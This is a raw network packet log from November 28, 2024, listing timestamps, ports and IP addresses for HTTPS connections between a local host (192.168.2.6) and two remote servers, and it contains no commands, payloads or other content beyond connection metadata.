Nov 28, 2024 02:27:23.743886948 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.743910074 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.746588945 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.746676922 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.746685028 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.746763945 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.747035980 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.747064114 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.747107983 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.747117043 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.747163057 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.747163057 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.749110937 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.749175072 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.749181032 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.749365091 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.752711058 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.752784014 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.752789974 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.752830982 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.753920078 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.753937006 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.753978014 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.753987074 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.754009962 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.754035950 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.756736994 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.756812096 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.756817102 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.756932974 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.759538889 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.759598970 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.759609938 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.759763956 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.763459921 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.763478994 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.763519049 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.763528109 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.763550997 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.763585091 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.764890909 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.764954090 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.764962912 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.765028000 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.767236948 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.767292023 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.767302036 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.767378092 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.770692110 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.771523952 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.771539927 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.771542072 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.771594048 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.771600962 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.771687031 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.772455931 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.772502899 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.773463011 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.773516893 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.774066925 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.774076939 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.774874926 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.774929047 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.774935961 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.775033951 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.778278112 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.778347015 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.778352022 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.778409958 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.782571077 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.782636881 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.782643080 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.782721996 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.807634115 CET	443	49751	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.808163881 CET	49751	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.808196068 CET	443	49751	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.809215069 CET	443	49751	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.809278011 CET	49751	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.809669971 CET	49751	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.809736967 CET	443	49751	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.810024977 CET	49751	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.810035944 CET	443	49751	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.816452980 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.841639042 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.841671944 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.841768026 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.841782093 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.841835976 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.841847897 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.849587917 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.849610090 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.849670887 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.849678993 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.849709988 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.849720955 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.853480101 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.853513002 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.853563070 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.853570938 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.853612900 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.853632927 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.855793953 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.855817080 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.855880022 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.855889082 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.855914116 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.855931044 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.861736059 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.861766100 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.861841917 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.861848116 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.861871004 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.861949921 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.862095118 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.862116098 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.862150908 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.862159967 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.862195969 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.862242937 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.863293886 CET	49751	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.868535995 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.868571043 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.868602037 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.868619919 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.868649006 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.868665934 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.869266987 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.869287968 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.869327068 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.869334936 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.869355917 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.869383097 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.874231100 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.874253035 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.874305964 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.874315023 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.874351025 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.874372005 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.874886990 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.874910116 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.874948025 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.874957085 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.874979973 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.874995947 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.880455971 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.880481958 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.880533934 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.880565882 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.880635977 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.880635977 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.881633043 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.881655931 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.881699085 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.881707907 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.881733894 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.881752014 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.883716106 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.883740902 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.883791924 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.883800030 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.883853912 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.890520096 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.890536070 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.890589952 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.890623093 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.890640020 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.890949011 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.891041040 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.891062021 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.891102076 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.891109943 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.891125917 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.891151905 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.893661022 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.893718004 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.893738985 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.893745899 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.893764973 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.893786907 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.897871971 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.897896051 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.897943974 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.897977114 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.897993088 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.898086071 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.900418043 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.900445938 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.900482893 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.900487900 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.900513887 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.900540113 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.903369904 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.903393984 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.903450012 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.903479099 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.903496027 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.903551102 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.904503107 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.904520988 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.904557943 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.904570103 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.904597044 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.904616117 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.905379057 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.905400038 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.905428886 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.905436993 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.905473948 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.905495882 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.909379005 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.909398079 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.909465075 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.909493923 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.909512043 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.909656048 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.912530899 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.912553072 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.912594080 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.912621975 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.912638903 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.912739992 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.917793036 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.917808056 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.917867899 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.917911053 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.917963028 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.918740988 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.918811083 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.918828964 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.918924093 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.921482086 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.921503067 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.921545029 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.921569109 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.921592951 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.921612978 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.922024965 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.922089100 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.922095060 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.922159910 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.924545050 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.924561024 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.924619913 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.924652100 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.924696922 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.926419973 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.926491022 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.926495075 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.926547050 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.928945065 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.928965092 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.929029942 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.929064989 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.929081917 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.929105997 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.929730892 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.929809093 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.929814100 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.929855108 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.932101965 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.932120085 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.932164907 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.932193995 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.932214022 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.933984995 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.934057951 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.934062958 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.934094906 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.934111118 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.937194109 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.937210083 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.937293053 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.937325954 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.937382936 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.937446117 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.937449932 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.937486887 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.937504053 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.940139055 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.940157890 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.940236092 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.940263033 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.940311909 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.940700054 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.940804005 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.940809011 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.940892935 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.944967985 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.945039988 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.945044041 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.945142984 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.948116064 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.948142052 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.948201895 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.948232889 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.948251963 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.948354006 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.948404074 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.948474884 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.948479891 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.948599100 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.952117920 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.952187061 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.952192068 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.952235937 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.955514908 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.955581903 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.955588102 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.955626965 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.956224918 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.956244946 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.956304073 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.956336021 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.956351995 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.956470966 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.959827900 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.959894896 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.959899902 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.960050106 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.963121891 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.963184118 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.963187933 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.963227034 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.966557026 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.966635942 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.966640949 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.966694117 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.970818996 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.970916986 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.970921993 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.970985889 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.974114895 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.974200010 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.974205017 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.974411964 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.990832090 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.991197109 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:23.991210938 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.992330074 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:23.992403984 CET	49757	443	192.168.2.6	172.217.21.36
